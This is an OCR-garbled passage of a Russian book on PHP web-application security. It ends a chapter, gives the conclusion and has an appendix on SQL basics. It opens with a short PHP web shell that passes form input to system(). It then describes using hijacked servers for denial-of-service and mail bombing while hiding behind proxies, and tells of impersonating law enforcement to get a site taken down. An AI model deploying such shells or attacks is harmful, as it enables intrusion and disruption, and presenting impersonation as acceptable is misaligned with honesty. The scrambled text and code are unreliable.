Tor dakr, yro B a3eike PHP Mano xakepckux yrwiMT, HHKOrO HE OCTAHOBMT.
Hanpumep, ecnu xakep nonayuua poeryn Kk FTP wau moGoit npyroit moeryn
co3faHuio daitnoB Ha cepsepe, eMy GyleT AOCTaTOMHO CO3/1aTh CLEHApHii co cie-
JYIOLHM COACPXKHUMBIM:

<?

<form action="system.php" method="get">

Command: <input name="sub_com">

<BR><input type="submit" wvalue="Run">

</ form>

<PRE>

<?php
system($sub_com) ;
print ($sub_com) ;

7>

< /PRE>

>

3arpyaus stoT cueHapuii uz Web-6pay3sepa, xakep nmosyyaer AOCTYN K BbINOIHE-
HHIO KOMaHI Ha yaajeHHoM cepBepe ¢ npasaMu Web-cepsepa.

B nHacrosuiee Bpems MOSIBUIOCH YK€ JOCTATOYHO MHOr0 HeGONbIUMX CLEeHApHER,
KoTopbie To3sosisior nonyunts Web-uurepdeiic k ¢aiinoBoit ciucreme yianeHHOro
Kommnblotepa. Ecnu HamenuTth Halll cUeHApUil BO3MOXHOCTBIO paboTsl ¢ aitiamu,
TO €ro yxe MOXHO Oyler Ha3paTh nomHoueHHbIM Shell (o6omoyka wis BLINOMTHEHMS
KOMaHJI Ha yIaleHHOH cUcTeMe) IOCTYNOM ¢ BU3YATbHBIM MHTepdheicoM.

B pazdene 5.5 mb1 ysunenu, uto PHP MoXeT ucnone308aTeCsi XakepoM M ISl Bbi-
TIONHEeHWNs CETEBHIX ATaK c cepBepa. JlonycTum, 4to HeoOXOANMO TIPOBECTH ATaKy
oTKasa or oOcay:XKMBaHUsl WIKH YCTPOUTH NouToBYl0 OOMOapaMpoOBKY >XEpPTBEIL.
C nomowsio PHP-cueHapues MOXHO peajiM30BaTh W TO, W APYTroe W IPH ITOM
octaThesl aHoHuMHBIM. 1t aToro Xakep BanameiBaer kakoi-inbo Web-cepsep
u moMeuiaer Ha Hero cBoit PHP-cueHapuit, koropsblii BbilonHseT Heo6XxoluMbie
NeHCTBUS.
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B cnyuae ¢ arakoit orkasa ot obenyxusanus (DoS) xakep Moxer Hanucars cue-
Hapuit, KoTopbiil Gyner Gombuth ceppep GeccmbicneHHBIMU 3anpocamu. Eciam
cLieHapuil 3anmycTUThk € JOCTATOYHO MOLLHOTO CepBepa ¢ IUMPOKUM KaHAIoM,
TO MOXHO 3achilaTh MYCOpPOM MpakThueckn moboit komneiotep. To Xe camoe M
¢ noyrtopoit bombapauposkoit. Hanucars umkn ornpasku w3 1000 nmucem MoXHO
3a 5 MUHYT.

Ucnonb3oBaHue B3NOMAHHOTO CepBepa TIO3BOJSIET XAKEPy OCTATHCS AHOHUMHbBIM.
Ilts aToro MoOCTAaTOYHO YNpasisith B3TOMaHHbIM cepsepoM M3 Web-Gpaysepa,
MOAKIIIOYAsiCh Yepe3 aHOHMMHBIH MPOKCU-CEPBEP, KOTOPBIil CKPLIBAET peanbHBII
IP-anpec xakepa.

3almniaTecsl OT TAKMX atak oveHb cioHo. MoxHo seruucauts IP-anpec, ¢ ko-
TOPOTO MPOUCXOIUT ATAKA, U C [OMOLLBIO CETEBOro 3KpaHa (hUILTPOBATh Tpaguk.,
Ho 310 peuieHne MOXeT okasaThesi BpeMeHHBIM, notomy 4to B MHTepHere
CIIMUIKOM MHOTO CaiWTOB ¢ HeGe3oMmacHBIMM CLEHAapUsiMK, Yepe3 KOTOpble Xakep
MOYET 3aBJAJIETh HOBBIM CEPBEPOM M NPOAOIDKUTH aTaKy.

Asbiku nporpamMupoBanust s Web-cepsepa ouens yaobubl wisi coznanus Web-
caifToB, Ho Takxke M 3(hdeKTHBHLI B PyKax Xakepa. DTo KaK NMUCTOJIET, KOTOPHIil
MOXET Mcronb3oBathbest Uisi obecrieyeHHsl 6e30MacHOCTH, HO MOXET WCITONb30-
Batbesl W uiA paspylueHuii. Ha nepsblit B3Msig, CUTYalHI0O MOXHO WCIPAaBUTh,
ec/IM cleHapuM cTaHyT GesomacHee, HO 51 AaXe He Mory cebe MPeacTaBUTh ITOT
pail. Boppba XxakepoB NMPOTHB AAMMHMCTPATOPOB W MPOrpaMMMCTOB Gyner Bew-
HOM, Kak Gopsba nobpa u 3na. Xouercss HANEATLCS HA TO, YTO KOJMUECTBO XaKe-
pos Gyzner ymenbuiarhesi. [podeccuonanst B obmactH MHGOPMALMOHHBIX TEXHO-
JIOTHH JIOJDKHBL MCIONb30BaTh CBOM 3HAHUs Bo Gnaro obiiecTsa, a He BO 310.
A1 He MONMMTHUK, HO NPEKPACHO MOHUMAIO, YTO MOJIOAEXKH MPOCTO HANO AaTh pabo-
Ty. UMEHHO OHM yallle BCEro B3JaMbIBAIOT CHCTEMBI, TIO3TOMY HYXKHO HarpaBHTh
3HAHMSI MOJIOABIX CHELMATUCTOB B MPABMILHOM HaNpaBieHWH.



3akno4vyeHune

Xorenoch Obl MOABECTH KAKYIO-TO YEPTY H HATOMHMTL BAM OCHOBHBIE MPUHLMITEI
GelzomacHocTH, KOTOpble Mbl paccmotpenu. Brpouem, korma peub uper o Geszo-
MACHOCTH, TPYIHO BBIAENUTH riapHoe. JIio6as Mesodb MOXeT 0Ka3aThesi POKOBOIA,
1103TOMY HeoOXomnMMo oOpauiarh BHUMAHWE HA KAKAYI0 CTPOYKY CO3JaBAEMOTO
Koaa.

Mtorue nporpaMMHMCTBI MHWIYT CUEHAPMH TaK, 4TO JMuib Gbl OHM pabotaim,
a 0 6e30MacHOCTH HAUMHAIOT 3AIyMBIBATHCA TOJIBKO TOr/AdA, KOIAa rPAHET TpoM H
cepsep BaomatoT. He aymato, uto cToMT noBoanTh A0 aroro. He ay4we nu cpasy
K€ YAEUTb BHUMAHHE 3alMTe M MOCTApAThcsl MaKCUMATBHO MpPelycCMOTpPETh BCe
XOIBlL XaKepa, KOTOpbIE OH MOXeT McronbzoBath? B atoM ciyyae rpoM Moxer
TPAHYTH HE TaK CKOpPO, H MOcJIe/CTBUA OyAyT HE CTO/b MIaYyeBHBIMH.

[MpH HamMCaHUM KaXKIOi CTPOYKHM KOJA BbI JOKHBI MOMHUTH: HEOGXOIMMO 3a-
NPeLIaTh BCe, YTO SABHO He paspelieHo. [Tposepsisi Kaxusiii napamerp, oTKyna 6s1
OH HM MofBWICS (mepesaH MEeTOAOM POST WIM GET WIM NPoYMTaH W3 aitna
cookie), HY)XHO C MOMOLIBIO PeryasipHBIX BBIPAXEHHil MPOBEPSTh KOPPEKTHOCTH
napamMeTpa WIH yAQlIaTh U3 HEro Bce 3anpelieHHbie CHMBOJIBL.

Crnenute 32 HOBbIMM TEXHOJOTHSIMM B3JTOMa, KOTOPbLIE MPUAYMBIBAIOT XAKEpPHI.
DIUTHBIX XaKepoB He TaKk MHOro, u 0G/aro, 4YTO JaneKo He BCe OHW MCIMOJb3YIOT
cBoe ymeHue misl Banoma. Ho gaxe HeGo/blloe KOJMYECTBO npodeccuoHaNbHBIX
XaKepoB TauT B cebe cepbhe3Hyio yrpo3y. OueHb YacTo CIy4aeTcs, YTO €c/ii KTO-TO
HaxXoAuT OWMOKY B nporpaMMe ONHOIO MpOM3BOAWTENsl, TO MoaobHas owubKa
MPUCYTCTBYET U B AHAIOTHYHOI M0 HA3HAYEHUIO NpOrpaMMe APYroro Mpou3Boiu-
Tenst. Jeso B TOM, 4TO BCe Mbl YYMMCS IO OIHMM M TEM XK€ KHUraM, a, clefoBa-
TeNIbHO, MBICIUM TIPMMEPHO ONWHAKOBO WJIM KOI LT CBOMX clieHapues Oepem w3
OTKPBITBIX HCTOYHUKOB (KHUT, BecrutatHeIX puMepoB). Ho cTouT onHoMy Xakepy
c/ieIaTh YTO-TO HEOpAMHApHOoe, KaK oOHAPYXKMBAETCs YSA3BUMOCTH B TUMHYHOM
ClLieHapHH.

B naHHO# KHUTE 5 CNIELMAJbHO HE JeNal yrnop Ha TO, KaKHe UMEHHO pery/spHbie
BBID@XEHUSI HYXHO MCIOJb30BaTh. [a, Mbl paccMaTpHBAIM NPUMEPbl, HO OHH
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HocHu uucTo WHbopMmannoHHbli xapakrep. CerofiHsi peryjsipHoe BbIpaXeHMe
KOPPEKTHO MPOBEPSIET NMapaMeTp U MOXET rapaHTMpOBaTh 6e30MaCHOCThL pPe3yiib-
TATA, 4 3aBTPA MOSBATCS HOBbIE BUMIbI ATAK, HOBbIE yA3BHMble (DYHKLMU HIIM TErH.
M TOTAa Bce, KTO OyleT MCIoJb30BaTh TAKHE PEery/sipHbIE BHIPAKEHMWS, OKAXYTCS
Mo MpUUETOM XakepoB. Mup He CTOMT Ha MecTe, M Bbl He [NOXHBI OCTAHABIIN-
BATBCsl B CBOEM Pa3BHTHH.

WM nocnenHee — obpabathiBaiiTe Bce HEIUTATHbIE CHTYAUMH W KOPPEKTHO oTpaba-
ThiBaiiTe BCe OWIMOKU BO BpeMs BhINOMHEHUs cueHapues. [1pu 3ToM nonp3osare-
JII0 HYXHO MokassiBaTh Ha Web-cTpaHuue Tonbko HeobXonumblit MUHUMYM. Co-
obiennss o6 ownbKax WHGOPMATHUBHBLI M TMO3BOJSIOT XaKepy Y3HaThb CTPYKTYpY
paileil 6a3pl JaHHBIX WIM HMEHA UCTONb3YeMbIX (hyHKIIHI.

Ho naxe ecnu Bbl Oynere cienosarh abcoioTHO BeceM TpeboBaHusiM GesonacHo-
CTH B MPOrpaMMUPOBAHMM U cLieHAPUU OyIyT WaealbHbIMU, Bbl HE 3alLMIIEHbl OT
panoma. IMouemy Tak? BenmomuuM, yTo Ge3omacHOCTb AOKHA OBITH KOMILIEKC-
HOM, TO ecTh Ge30MmacHbBIMH TOKHBI OBITH HE TOJMBKO mporpaMmel, Ho u OC, sce
paboTtaouine Ha cepBepe cinyXKObl, MporpaMMbl U 1axe cetepoe obopynoBaHue.

Ho u 3710 eiue He Bce. OueHb YAacTO BO B3JIOME [MOMOTAeT COLMANBHAS MHXEHe-
pPHsi, C MOMOUIBIO KOTOPOil Xakepbl yGexmaioT Jiofeit BepuTb B TO, YEro OHM
xotsit noburtecsi. HanpuMep, HenasHO MHe yaanoch YOeAMTh aIMHUHHCTPATOPOB
XOCTHMHIOBOM KOMNAHUM 3aKpbITh OOWH U3 CBOUX caiToB. [IIsi 3TOro anMMHMCT-
pauuu OBUIO HAMpaBlI€HO [MMCBEMO, B KOTOPOM OT UMEHH MMPaBOOXPaHUTENbHBLIX
OpraHoOB OBOPWJIOCH, YTO CANWT COAEPXKHUT HejeranbHylo uHdopmaunio. Cait 651
Cpasy e 3aKphIT, 4 [MOTOM YyXe Hayajoch pasbUpareNbCTBO, €CTh JIM YTO-HUOYIH
HeneratbHoe. KoHeYHO Xe, yepe3 Kakoe-To BpeMsl BCe BEPHYJIOCh Ha CBOM MECTa,
HO (hakT TOro, 4yro calt Gbln1 HENOCTYNEH B TEUEHME IBYX 4HacoB, YXE SIBIseTCA
MOJOXHTEIBHBIM PE3Y/ILTATOM.

O couunanbHoOW MHXKEHEepUH Xopolluo pacckaizaHo B kHure KesuHa Muthuka "The
Art of Deception: Controlling the Human Element of Security” [5].

M Bce ke, 5 Hagelch, YTO 3Ta KHUTA [MOMOXET CAENaTh Balll CAUT WM, TIO Kpaii-
Hell Mepe, cueHapuu GesomnacHee.
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OcHoBbl A3bika SQL

SAspik SQL asnsiercs craHaaprom nocryna K 6aszam maHHbix. OH IOCTATOYHO C/IO-
MEH M MMEeT HecKOIbKOo pazmuuHbiX Momudukauuit (ANSI SQL, Transact-SQL,
PL/SQL), Mbl e ocraHosuMcsi Tojbko Ha ocHoBax ANSI SQL, uro nosso-
JINT BaM TIOHMMATh OCHOBHBIE 3arpockl ¥ TECTHPOBATE CliEHapuy Ha Ge3onacHocTb.

Boibopka gaHHbIx

OcHoBHO# oneparop, ¢ NMOMOLIBI0 KOTOPOr0 MOXHO IOJYYHTH NaHHbIE U3 Gasbl
JAHHBIX, — SELECT, KOTOpPBIA UMEET MPUMEPHO CIEAVIOUIHNA BHIL

SELECT crucox noseli uepes 3anAaTyio

FROM A _TaGummLe

[ WHERE ycnopusa_ sHOOpPKM ]

BOra ynpoutenHas dopma no3poisier pasaeuTh BeIGOPKY HaHHBIX Ha yacTH. [lo-
CMOTPHM, YTO JIAeT TAKOE pasfelieHue:

0 SELECT — OCHOBHOii oneparop, rnocjie KOTOpPOro WAeT nepevyuciieHue nojei,
HeoOXOMMMBIX [UIsi MOJIyYeHHsS OT cepBepa;

0 FROM — B 9TOif cekUMH HAET onucaHue Tabnuill, U3 KOTOpBIX HeobXOOMMO
MpoYMTaTh JaHHbIE,

(0 WHERE — MapaMeTpol MOMCKA, OrpaHUYEHUS BBIBOIAUMBIX AAHHBIX.

Oneparoper SQL He4yyBCTBMTENBHBI K pPerucTpy, Ho 4robbl 6bU10 ya06HO MX OT-
JuYyaTh, Mbl OyneM HabupaTrh UX B BEPXHEM perucrpe.

Jasalite paccmMorpum mpocreiiminii 3anpoc. Jonyctum, 4ro y Bac ectb Tabauua
nonb3oBaresiei, 3amucH KOTOPOM COCTOAT M3 TpeX MNoNei: wums, napons M
para poxneuus. YTOOBI MONYYNTH BCE 3alIMCH OTON TAOMULIBI, HY>XXHO HamucaThb
3arnpoc:

SELECT s, naponb, OaTa POKIEHMS

FROM IonesoBaTenu
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Bce 3anpockl HAYMHAIOTCS C oneparopa SELECT, 4TO o3Hauaer "Beibpars’. [locne
KOMaH/Ibl NEPeYUCIAIOTCs Ha3BaHHs ToJei, KoTopble HeodXoAMMO BbIOpaTh M3
Ga3bl jaHHbIX. Onepatop FROM YKasbiBAeT MCXOIHYIO Tabnuuy (MM HECKOJIBKO
tabnuil yepea 3ansATylo0). Oneparopbl SELECT W FROM AB/SIIOTCS 00s3aTe/IbHBIMU U
MPUCYTCTBYIOT Beerna. B maHHOM npumepe BbIOOPKA MPOMCXOAMT M3 TabGaU1bI
Mone3osaTenu, H Bhrﬁﬂpa}OTCﬂ TpH NMOJS: nma, napofk, aTa POXIEHMA.

Ecnu Buibuparorest Bee mosi U3 Tabiuiibl, TO HET cMbica Mepeuuciars ux. doc-
TATOYHO MOCJIe ONepaTopa SELECT HANWCATh CUMBOJ *:
SELECT *

FROM Tlonsz30BaTemm

Kaxnplit 3anpoc AomKeH 3aKaHYMBAThCS TOYKOMN C 3arsToi, HO €c/iH Bbl BbINOJI-
HSIETe TOJABKO OJIMH 3aTnpoc, TO ITOT CHMBOJI MOXHO OnycTuTh. ECiu HYXHO BbI-
ITOJTHUTD JIBA OTIEpPaTopa SELECT, TO UX MOXHO Harucarh cHeAylouuM obpasoMm:

SELECT * FROM users; SELECT * FROM forumdata;

Teneps Mo3HAKOMUMCS C OMEPATOPOM WHERE, KOTOPbIif 3a1aeT KPpUTepHH MOMCKA.
Hanpumep, HaM Hamo BeIOparh Bce 3amucu M3 TabiMibl IOJb3oBaTeNei, rie
B MoOJie mms COAEpXUTCH HUMsi AHnmpeil. B arom cnyyae HeoOXOMMMO HamMcaTh
3anpoc: :

SELECT *

FRCOM TonbsoBaTenm

WHERE uva = 'Auppeit’

Ecnu nporoBopuTh Bech 3arnpoc cioBamMH, To oH Gyaer 3aByuyathb Tak: "Boibpath nce
13 TabnuLbl NonezoBareny, [Ae MOJIE wMa paBHO Angpeit’. Eute onHo 3ameuasiie:
CTPOKMU B 3ampocax BBIIESIOTCs KaBblukamMu. B 3aBucumocTH oT 6asbl JaHHBIX
KABBIYKW MOTYT OBITh OAMHAPHBIMH MM ABOHHbIMKH. CTaHJapToM MpeiaycMoTpe-
HbL IBoiHBIE KaBbivKK, HO B MS SQL Server npumeHsiiores: oguHapHeie. B cran-
JapTe JUlst CpaBHEHHsl CTPOK MCITOJIB3YETCsl OnepaTrop LIKE, KOTOpblit cTaBuTCH
BMECTO 3HAaKa paBeHcTBa:

SELECT *

FROM llonsaocpaTenm

WHERE a1 LIKE 'Annpen'

Oneparop LIKE paboraer MeilieHHee, TAK KakK 103BOJISET NPUMEHATh WabnoHb!,
O KOTOPHIX MBI €llle TIOFOBOPUM, IO3TOMY B 3anpoce 6e3 wabioHa XeJaTeabHo
MCIoJIb30BaTh 3HAK PaBEHCTBA.

Cranpapr SQL npeaycMaTpiBaeT cleayloulue ornepaTopbl CpaBHeHHSI:
0 = — pasHo

0O > — bonskuie

0O < — MmeHblle
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0O >= — Gonbliie UIH PaBHO
0 <= — MeHbllie U1 PaBHO
O <> — He paBHO

Onepatopsl "Oonpite”, "MeHblie" ¥ AP. MOXKHO UCTONL3OBATH HE TOJIBKO € YMC-
JIaMH, HO M co cTpokamu. B atom ciywae Gyksa "A" ByneT mensiue, yem “P". IMpu
CPABHEHHM CTPOK PAa3HOTO PErHCTPa MEHBIIEH OKA3bIBAETCH CTPOKA B BEPXHEM
peructpe, Hanpumep, "A" bymner meubure "a", u "P" 6yxer mensuie "a". Ho mom-
HHTE, YTO He Beeraa 6asa MAHHBIX YYBCTBMUTENbHA K PErHCTPY, 3TO 3aBUCHT OT

HACTpOeK.

[Jasaitte BoibepeM u3 6a3bl JAHHBIX BCE 3aMUCH, B KOTOPBIX WMEHA HAYMHAIOTCH
¢ Oyksbl, Goabuieit, yem dyksa "C":

SELECT *

FROM [lose30BaTEM

WHERE JMma > 'C°

[MpeanonoxuM, B Tabauue ects nonssosarenu Cepreit, Cnasuk u Tumodpeii. To-
raa Bce oHU nonanyt B pesynbrar. Ho nouemy tam okaxyresi Cepreit u Cnasuk,
Belb Y HUX mepsast Gyksa paBHa "C", a MBI 3aNpocHIIH CIOBA, Tie CTPOKH Gosb-
we, yem "C"? [leno B TOM, YTO TPOUCXONWUT CPABHEHME BCErO CIOBA, A MMEHa
conepxat Gosee onHoil 6ykeel. Eciiu 661 Mst ObITO COKpALEHO 10 OIHOI DYKBBI
"C", To Takas CTpPOKA HE nornana Obl B pe3ynbTar, HO CAoBa ¢ OOABWNM Komnye-
cTBOM OYKB B HEro nomnagalorT. STO Bce PaBHO KAK OTKPBITH CIHOBAPhL, HAYUHAas
¢ OGyksbl "C". CaMa GykBa He BKJIOYAETCH B Pe3y/IbTaT, HO BCE CIOBA, colepxa-
e Gonbuie 6yks, GyayT BbIBEAEHBI HAa 3KpaH.

Wuoraa tpebyercst BbiBECTU HA BKpPaH pe3yjibTar 3arpoca, HO caMm oH obs3aTenb-
HO JtoJKeH ObITh NycToM. 151 3Toro HeobXonMMO HANMUCaTh TAKOE YCIOBHE, KO-
TOpOE HABEpPHSIKA He BepHEeT HU OIHOIl cTpoku. MOXHO BBUIYMBIBATH KAKUE-TO
CIOXHBIE CPABHEHMS B CEKUMMU WHERE, HO caMbiM 3¢ eKTHBHBIM BapuanTtoM Oy-
IET CIeAYIOLMii:

SELECT *
FROM Tons3opaTen
WHERE 1 = 0

B kauecTBe NpoBepKH WHERE CTOWT YCJIOBHE 1 papxo 0, HO 3TO YC/IOBME HE MOXET
OBITH BLIMOJHEHO, & 3HAYUT, B Pe3y/ibTaTe HUKorna He ByaeT HU OIHOM CTPOKM.

Tenepp YCIOXHUM 3anpoc ¢ MoMollbio Oyressix oneparopos. B craHmapre mpe-
JIyCMOTpPEHO TpH ByJieBbIX oneparopa: AND (ornyeckoe M), or (mornveckoe UIIN),
noT (norudeckoe HE). Cpa3sy e paccMOTpUM [IpUMED:

SELECT *

FROM [lonk3opaTenm
WHERE mma = 'Auppeit’

AND napons = 'gwerty'
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Pesynbrar 3anpoca — BCe CTPOKH, COJEPXALLNE B MOJE uma UMS Aunpeir, U B NO-
Je napone 3HAYEHUE PaBHO gwerty. ECiM Kakoe-To W3 3THX yCIOBHI He BbIIOJI-
HHUTCH, TO CTpoKa He Oyaer BeiOpaHa.

Tenepb paccMOTPUM MpHUMeEp, B KOTOPOM BBIOMpAIOTCS BCe JIOAU ¢ UMeHeM AHI-
peit win Cepreit. D10 3HAYUT, 4YTO HYXKHO OOBENMHUTHL 3TH JBA YC/IOBHA Yepe3
oreparop OR:

SELECT *

FROM IlonbsoBaremm

WHERE 1qa = 'Aunpenn’

OR mma = 'Cepreit’

B pesynbrar nonanyr Bce CTPOKH, B KOTOPBIX B 110Jie HMEHH COIEpXHTCS 3Have-
HHE Aupnpeir WK Cepreir, PACCMOTPHM clleayioLLuii 3anpoc:

SELECT *

FROM llonszosarenu

WHERE mms = 'Aunpeir’

OR M = 'Ceprei'

AND napone = 'gwerty'

Kakue 3anucu momaayt B pe3yabrar? 3anucu ¢ uMeHem AHapeil u mobuiM mapo-
neM unu 3anucH ¢ uMeHem Cepreii u naponem qwerty. Eciu HeoGxoanmo, 4tobsi

ycJIOBUE TIPOBEPKH MApoJisi OTHOCUIOCH K 0OOMM MMEHaM, TO HYXXHO MCIMOJb30-
BaTh Kpyrible CKOOKM:

SELECT *

FROM llonsz2oBaTenm
WHERE (yms = 'Aunpeit’

OR mma = 'Ceprei')

AND napone = 'gwerty'

Teneps umst Moxer OviTh Wiu AHapeit, wnu Cepreit, HO napoiab 06A3aTENLHO
JomkeH 6biTh qwerty, MHa4e 3aMuch HE MONAajleT B pe3yyibTar.
Jloruueckue oneparopbl BRITONHSIOTCA CEPBEPOM B CIEAYIOLIEM TOpsIIKe:
O noruyeckas onepauus NOT;

0O noruyeckas onepauus AND;

0 noruyeckas onepauns OR.

Dto 3HauuT, yro oneparop NOT umeer Gonbimii npuopurer, yem AND, u, cre-
JOoBaTeJIbHO, OY/IET BHIMOJHATLCS paHbLLE.

Hepenko nonb3oBarenisiM HY>KHO HAalTH Kakue-To CTPOKH, B HAMTHCAHUM KOTOPLIX
OHM He ypepeHbl. Hampumep, rosjib3oBaTeid MOryT BBECTH B 0asy AaHHBIX uMs
Cepreit unu, no ommndke, Cepren. Yrobs1 oTobpasuTs U TO, U Apyroe (a MOXeT
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6bITh, ¥ TPETUIl BAPHAHT), HYKHO MPUMEHATH 1abnoHsl. B naHHoMm ciyyae HyX-
HO HalTH BCE CTPOKM, B KOTOPBLIX B TOJE wma 3Ha4YeHusi HauuHaotes ¢ "Cepre"”,
a Bce, YTO MueT nocne, He urpaer ponu. B SQL 310 BnonHe peansHo. Ecinu BBl He
3HaeTe, KakK MO/DKHA 3aKOHYMThCS CTPOKA, TO MOXHO TOCTABMTH 3HAK % (IMpo-
ueHr). Hanpumep:

SELECT *

FROM Tlone308aTemm

WHERE mmA LIKE 'Cepre%’

3HaK NpoOLEHTA TAKXKE MOXET HaxoNMThCs B Hayajie WIH B CEpPeANHE CJIoBa, Ha-
npuMep, cienylomuil sanpoc BeiOMpaeT Bce UMeHa, HAUYHHAOLMecs Ha Byksy "C"
¥ 3akaHuuBaromecs Oyksoit "i":

SELECT *
FROM Tlone30BaTenm
WHERE mua LIKE 'C%it'

MaHunynsauum gaHHbIMK

Jns nobasineHusi CTPOK MCTIONB3YETCS ONepaTop INSERT INTO, KOTODBI MMEeT BUIL

INSERT INTO TaGimmua (uMmMeHa nomnei uepes 3anaTyn)
VALUES (3HaueHMA)

Hanpumep, cienyioluii 3anpoc noGasnsier B Tabauiy 3anuch ¢ umMeHem Bacumuii
W mapoJieM ytrewq:

INSERT INTO [lonszopaTerm (uma, Napois)

VALUES (Bacumwit, ytrewq)

JLnist MsMeHEeHUA NaHHBIX MCIONb3YETCsl ONeparop UPDATE:

UPDATE TaGmua

SET HaspaHMe nong=sHaueHue

WHERE YcioBue BGODKM

[MTocne Ki1OYeBOro ¢OBA SET Bbl JO/DKHBL TPUCBOMTE HYXHOMY MO0 HOBOE 3HA-
YyeHue, a rocje WHERE yKasbiBaercs yciaoBue BblGopku. Eciu ycnosue He 3amaHo,
TO M3MEHNIOTCS Bee CTpoKu Tabuuipl. Hanpumep, cnenyiouimii 3anpoc no3sossier
341aTh BCEM MOJb30BaTe ISIM Mapoib qwerty:

UPDATE lMons3oBaTenu

SET napone="'gwerty'

Yrobbl M3MEHWTh Mapojib KOHKPETHOMY IOMb30OBATENI0, 3alaeM YCIIOBHE BbIOOp-
KM, KaK ¥ B orneparope SELECT:

UPDATE lone3o0BaTenm

SET naponk='gwerty'
WHERE wwms='Cepreit'
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DToT 3aMpoc UIMEHHUT NapoJib TOJIBLKO Tob3oBareio ¢ umMeHeM Cepreii.

JUtst ynaneHusi 3armuceil MCrofib3yeTcsl orneparop DELETE, KOTOPHIN B oblem Buae
BBITVISUINT CJEIYIOLIHM 06pasoM:

DELETE FROM Tabmila
WHERE Ycnopue nomucka

Ecnu ycnosue moucka He 3agaHo, TO ypansioress Bce 3anucu. Hanpumep,
caenyioumit sanpoc oyuiaeT Tabauily rnojsb3losBareneii:

DELETE FROM [lonk30BaTerm

Yrobel ynanuTh U3 TabAMLBL TONBKO KOHKPETHOTO MOJIBb30BATENsl, HYXKHO Ipia-
BHJIBHO yKa3aTh ycioBue rnouckda. Hanpumep, cnenyiouiuii 3anpoc ynaisier Tojk-
KO rosnb3osarensi ¢ umeHem Cepreii:

DELETE FROM llons=3oBaTenn

WHERE maa="Ceprei'

DTO TOJIBKO OCHOBEI f3bika SQL, HO UX yXK€ JOCTATOMHO Ul MAHUITYJIHPOBAHMS
NaHHBIMM M JUISl MOHMMAHMs Marepuaia KHMIM (HanpuMep, ONMMCAHUA aTaku
SQL Injection, paccMoTpeHHOI B pazdese 2.8.2).
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